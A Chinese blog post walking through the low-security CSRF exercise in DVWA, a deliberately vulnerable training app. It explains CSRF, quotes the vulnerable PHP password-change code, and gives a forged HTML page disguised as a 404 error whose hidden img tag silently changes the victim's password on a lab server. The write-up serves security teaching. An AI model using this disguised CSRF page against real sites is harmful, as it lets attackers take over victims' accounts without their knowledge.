美文网首页
DVWA CSRF模块

DVWA CSRF模块

作者: yemansleep | 来源:发表于2018-07-25 09:41 被阅读0次
    CSRF

    CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。
    CSRF,跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

    1.low level

    1.1源码分析

    if( isset( $_GET[ 'Change' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    
        mysql_close(); 
    } 
    

    服务器通过接收一个GET请求来修改密码,只验证password_new==password_conf,如果相等则修改密码,没有任何的防CSRF机制。

    1.2设置伪造网页,透过HTML的img标签,当用户点击这个页面,浏览器检测到img的路径,自动向服务器发送一个GET资源请求。

    <!DOCTYPE html>
    <html>
    <head>
    </head>
    <body>
        <img src="http://192.168.93.104/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change"alt="">
        <h1>404</h1>
        <h2>file not found.</h2>
    </body>
    </html>
    
    

    相关文章

      网友评论

          本文标题:DVWA CSRF模块

          本文链接:https://www.haomeiwen.com/subject/nmkemftx.html